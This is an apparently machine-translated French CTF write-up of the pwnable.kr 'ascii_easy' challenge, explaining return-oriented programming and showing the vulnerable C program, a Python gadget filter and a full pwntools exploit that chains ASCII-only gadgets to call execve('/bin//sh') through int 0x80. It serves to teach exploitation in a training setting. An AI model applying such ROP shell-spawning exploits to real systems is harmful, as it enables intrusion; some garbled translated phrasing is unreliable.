Résolution de problèmes avec pwnable.kr 26 - ascii_easy. Nous traitons les gadgets ROP à partir de zéro une fois pour toutes

image

Dans cet article, nous allons résoudre la 26e tâche à partir du site pwnable.kr et comprendre ce qu'est la ROP, comment cela fonctionne, pourquoi elle est si dangereuse, et composer une chaîne ROP avec des combattants supplémentaires compliquant les choses.

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Solution d'emploi Ascii_easy


Nous continuons la deuxième section. Je dirai tout de suite que c'est plus difficile que le premier, mais cette fois ils nous fournissent le code source du programme. N'oubliez pas la discussion ici (https://t.me/RalfHackerPublicChat) et ici (https://t.me/RalfHackerChannel). Commençons.

Cliquez sur l'icône de légende ascii_easy. On nous donne l'adresse et le port de connexion via ssh.

image

Nous sommes connectés via SSH et voyons l'indicateur, le programme, le code source et la bibliothèque libc.

image

Voyons le code source.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

Trions-le en blocs. Le programme prend une chaîne comme argument.

image

Dans ce cas, la chaîne ne doit être composée que de caractères ascii.

image

Une zone de mémoire avec une adresse de base connue et des autorisations de lecture, d'écriture et d'exécution est également allouée. La bibliothèque libc est placée dans cette zone.

image

En plus de tout, le programme a une fonction vulnérable.

image

De plus, si vous vérifiez le programme, vous pouvez vous assurer qu'il a une pile non exécutable (paramètre NX). Nous déciderons en compilant le ROP.

image

Copions la bibliothèque pour nous.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

Vous devez maintenant assembler la chaîne ROP. Pour ce faire, utilisez l'outil gadget ROP .

 ROPgadget --binary libc-2.15.so > gadgets.txt 

Dans le fichier gadgets.txt, nous avons toutes les chaînes ROP possibles (l'exemple 10 du premier est présenté ci-dessous).

image

Le problème est que nous devons sélectionner ceux qui se composent uniquement de caractères ascii. Pour ce faire, nous écrivons un filtre simple qui ne laissera que ces adresses, dont chaque octet appartient à l'intervalle de 0x20 à 0x7f inclus.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

Exécutez le programme et obtenez une liste d'adresses de gadgets ROP qui nous satisfont.

Gadgets Rop


Beaucoup ont demandé plus de détails sur la programmation orientée retour. Ok, donnons un exemple avec des illustrations. Supposons que nous ayons une vulnérabilité de dépassement de tampon et une pile non exécutable.

Un gadget ROP est une collection d'instructions qui se termine par une instruction de retour ret. En règle générale, les gadgets choisissent parmi les terminaisons des fonctions. Prenons quelques fonctions comme exemple. Dans chacun d'eux, sélectionnez le gadget ROP (surligné en rouge).

image

image

image

Ainsi, nous avons plusieurs chaînes ROP:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

Voyons maintenant quel type de chaînes ROP bête sont. Lorsque le tampon déborde, nous pouvons réécrire l'adresse de retour. Supposons qu'au moment où l'instruction ret doit être exécutée dans la fonction cible, c'est-à-dire qu'au sommet de la pile il y a une adresse valide.

Par exemple, nous voulons exécuter le code suivant:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

Nous devons réécrire l'adresse de retour valide avec les adresses suivantes:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

Pour comprendre pourquoi cela fonctionnera, regardons l'image ci-dessous.

image

Ainsi, au lieu de revenir à une adresse valide, nous passons à la première adresse de notre chaîne ROP. Après avoir exécuté la première commande, l'instruction ret déplace le programme vers la prochaine adresse de la pile, c'est-à-dire vers la deuxième commande. La deuxième commande se termine également par ret, qui passe également à la commande suivante, dont l'adresse est indiquée sur la pile. Ainsi, nous réalisons l'exécution du code que nous avons compilé plus tôt.

Chaînage ROP pour ascii_easy


Tout d'abord, nous découvrirons de combien d'octets nous avons besoin pour déborder le tampon. Exécutez le programme dans gdb et alimentez la ligne en entrée.

image

Et le programme se bloque à l'adresse «bbbb», ce qui signifie que le remplissage est de 32 caractères.

Il est très pratique d'utiliser la fonction execve pour faire fonctionner ROP. La commodité réside dans le passage des paramètres dans les registres. Trouvons cette fonction dans la bibliothèque libc. Cela peut être fait en utilisant GDB.

image

Mais si nous ajoutons à l'adresse de fonction l'adresse de chargement de la bibliothèque en mémoire, nous verrons qu'elle ne satisfera pas la condition ascii.

image

Mais il existe une autre option pour appeler la fonction. C'est par le biais d'un appel système. Sous Linux, chaque appel système a son propre numéro. Ce numéro doit être situé dans le registre EAX, suivi d'un appel d'interruption int 0x80. Le tableau complet des résultats peut être consulté ici .

image

Ainsi, la fonction execve a le numéro 11, c'est-à-dire que la valeur 0xb doit être située dans le registre EAX. Les paramètres sont transférés via les registres EBX - l'adresse au début de la ligne de paramètres, ECX - l'adresse au pointeur vers la ligne de paramètres et EDX - l'adresse au pointeur vers les variables d'environnement d'argument.

image

Nous devons passer la chaîne '/ bin / sh' à la fonction. Pour ce faire, nous devrons l'écrire à l'endroit autorisé pour l'enregistrement et passer l'adresse de la chaîne en paramètre. La ligne devra enregistrer 4 caractères, soit '/ bin' et '// sh', car les registres transmettent chacun 4 octets. Pour cela, j'ai trouvé les gadgets suivants:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

Ce gadget:

  1. Prenez de la pile l'adresse pour écrire la chaîne et mettez-la dans le registre edx, annule eax.
  2. Il prend une valeur de la pile et la place dans edi.
  3. Il copiera la valeur de edi vers l'adresse dans edx (il écrira notre ligne à l'adresse souhaitée).
  4. Cela prendra deux valeurs supplémentaires de la pile.

Ainsi, pour son fonctionnement, il est nécessaire de transférer les valeurs suivantes:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

Ensuite, vous pouvez exécuter les mêmes gadgets pour copier la deuxième partie de la ligne. Il ne sera pas difficile de trouver l'adresse d'écriture, car la bibliothèque est chargée dans une zone mémoire accessible pour la lecture, l'écriture et l'exécution.

image

Toutes les adresses satisfaisant à la condition ascii peuvent y être prises. J'ai pris l'adresse 0x55562023.

Maintenant, nous devons terminer notre ligne avec un caractère nul. Pour cette tâche, j'utilise la chaîne de gadgets suivante:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

Ce gadget:

  1. Prenez dans la pile l'adresse de l'entrée nulle et mettez-la dans le registre edx, annulez eax.
  2. Prenez la valeur de la pile.
  3. Copiez la valeur de eax mis à zéro à l'adresse dans edx.

Ainsi, pour son fonctionnement, il est nécessaire de transférer les valeurs suivantes:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

Ainsi, nous avons copié notre chaîne en mémoire. Ensuite, vous devez remplir les registres pour transférer les valeurs. Puisque le programme «/ bin / sh» appelé dans execve n'aura pas ses propres arguments et variables d'environnement, nous lui passerons un pointeur nul. En ebx nous écrivons l'adresse sur la ligne et en eax nous écrivons 11 - le numéro de l'execve siskol. Pour cela, j'ai trouvé les gadgets suivants:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

Ce gadget:

  1. Met une valeur de la pile dans edx, annule eax.
  2. Déplacez la valeur de la pile vers edi.
  3. Déplacez la valeur de la pile vers ecx, ajoutez à zéro eax 10.
  4. Déplacer la valeur de la pile vers ebx.
  5. Augmentez l'eax de 10 à 11.

Ainsi, pour son fonctionnement, il est nécessaire de transférer les valeurs suivantes:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

Et nous terminons notre chaîne ROP avec une exception.

 0x55667176 : inc esi ; int 0x80 

Vous trouverez ci-dessous un enregistrement plus abrégé et général de ce qui précède.

image

Et le code formant la charge utile.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

image

image

Franchement, pour moi, pour une raison quelconque, c'était l'une des tâches les plus difficiles de ce site ...

De plus en plus compliqué ... Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/fr479184/


All Articles